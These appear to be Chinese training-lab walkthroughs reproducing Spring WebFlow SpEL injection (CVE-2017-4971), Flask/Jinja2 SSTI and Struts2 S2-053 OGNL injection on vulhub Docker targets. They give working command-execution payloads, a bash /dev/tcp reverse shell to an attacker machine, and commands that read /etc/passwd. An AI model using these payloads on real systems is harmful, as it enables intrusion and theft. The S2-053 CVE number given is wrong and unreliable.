由于Spring的框架越来越多,而且后面引入了SpringEl作为默认的表达式解析方式,所以一旦引入了类似于OGNL的表达式,很可能会带来一些安全问题。本次漏洞就是由于Spring
WebFlow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x
版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

漏洞介绍
该漏洞在2017年5月31号被提交到https://pivotal.io/security/cve-2017-4971平台,官方并没有详细的信息,通过官方描述和补丁的对比,我们可以大致推断应该是Spring

WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

实验步骤

第一步 启动目标靶机的环境

1、登陆”Spring WebFlow”靶机,执行如下命令,进入目标环境所在目录

1
2
3
cd /vulhub-master
cd spring
cd CVE-2017-4971

image.png

2、执行以下命令,运行目标靶机的环境

1
docker-compose up -d

image.png

3、登陆“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到酒店预订页面,说明靶机环境启动成功
image.png

第二步 漏洞复现

4、通过“Attack”操作机的浏览器访问http://靶机ip:8080,看到登录页面
image.png

5、用页面左边给出的任意一个账号/密码登录网站
image.png
image.png

6、访问id为1的酒店http://靶机ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步WebFlow就正式开始了)
image.png
image.png
image.png

7、打开桌面的的“Burp”文件夹,双击“BURP.cmd”启动Burp Suite抓包工具
image.png

8、切换到“Proxy”代理模块的“Options”,查看Bp的代理
image.png

9、切换到浏览器,选择火狐插件中的代理(配置浏览器的的代理),与Bp的代理一致
image.png

10、点击确认“Confirm”按钮,确认酒店预订信息,Bp成功抓取数据包,然后将数据包send to repeater
image.png
image.png

11、修改数据包,加入要执行的代码,然后发送数据包,会返回500的状态码(注意:一定要URL编码,即new+java.lang.ProcessBuilder)

创建文件POC

1
_(new java.lang.ProcessBuilder("touch","/tmp/success")).start()=sy

image.png

验证文件是否创建成功

12、进入靶机服务器,在docker靶机里可以看到已经在/tmp目录下成功创建了success文件(注意:是进入docker里)
,执行如下命令

1
2
3
4
docker ps     查看靶机环境对应的docker容器ID
docker exec -it 容器ID bash 进入docker环境
cd /tmp 进入tmp目录
ls 查看文件

image.png

反弹shell

13、首先在kali输入以下命令来监听端口

1
nc -l -p 21

image.png

14、修改数据包,输入POC【_(new java.lang.ProcessBuilder(“bash”,”-c”,“bash -i

& /dev/tcp/【kali攻击机ip】/21 0>&1”)).start()=sy】反弹shell

image.png
image.png

15、获得shell,可以执行系统命令

image.png

实验总结

通过本实验,对Spring WebFlow框架进行远程代码执行,成功向服务器写入文件,并执行相关命令反弹shell,深入了解远程代码执行漏洞的危害。

Flask(Jinja2)服务端模板注入(SSTI)漏洞

实验目的

通过本实验,掌握服务端模板注入(SSTI)漏洞原理和利用方法,利用命令执行漏洞获取敏感信息。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Ubuntu + docker
    用户名:root
    密码:Sangfor!7890
  • 实验地址:http://靶机ip:8000?name=54289

实验原理

注入类型的漏洞,常见Web注入有:SQL注入,XSS注入,XPATH注入,XML注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell
等问题。其影响范围主要取决于模版引擎的复杂性。
Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。

实验步骤

第一步 启动目标靶机的环境

1、登陆”Flask”靶机,执行如下命令,进入目标环境所在目录

1
2
3
cd /vulhub-master
cd flask
cd ssti

image.png

2、执行以下命令,运行目标靶机的环境

1
docker-compose up -d

image.png

3、登陆“Attack”操作机,打开浏览器,访问http://靶机ip:8000,看到Hello页面,说明靶机环境启动成功
image.png

第二步 漏洞复现

4、通过“Attack”操作机的浏览器访问http://靶机ip:8000?name=54289,得到54289,说明SSTI漏洞存在
image.png

5、将name参数的值更换为如下代码(获取eval函数并执行任意python代码的POC),执行命令成功

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image.png

6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”,即:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image.png

实验总结

通过本实验,通过复现Flask(Jinja2)服务端模板注入(SSTI)漏洞,了解模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。

S2-053远程代码执行漏洞

实验目的

通过本实验,掌握S2-053远程代码执行漏洞的攻击方法和防御措施。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Ubuntu + docker
    用户名:root
    密码:Sangfor!7890
  • 实验地址:http://靶机ip:8080/hello.action

实验原理

继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。
影响版本:Struts 2.0.1、Struts 2.3.33、Struts 2.5 – Struts 2.5.10
当开发者在Freemarker标签中使用如下代码时,Freemarker会将值当作表达式进行执行(Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成一个表达式,被OGNL解析第二次),最后导致远程代码执行。

实验步骤

第一步 启动目标靶机的环境

1、登陆”S2-053”靶机,执行如下命令,进入目标环境所在目录

1
2
3
cd /vulhub-master
cd struts2
cd s2-053

image.png

2、执行以下命令,运行目标靶机的环境

1
docker-compose up -d

image.png

3、登陆“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到页面正显示,说明靶机环境启动成功
image.png

第二步 漏洞复现

4、通过“Attack”操作机的浏览器访问http://靶机ip:8080/hello.action,可以看到一个提交页面
image.png

5、在此页面下输入payload即可执行命令

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image.png

6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”,即:

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image.png

注意:上述Payload末尾的换行不能少(也就是说payload后面必须跟一个换行)

实验总结

通过本实验,成功实现了命令执行,通过该漏洞可以执行系统命令,加深对Struts2框架的利用和防御。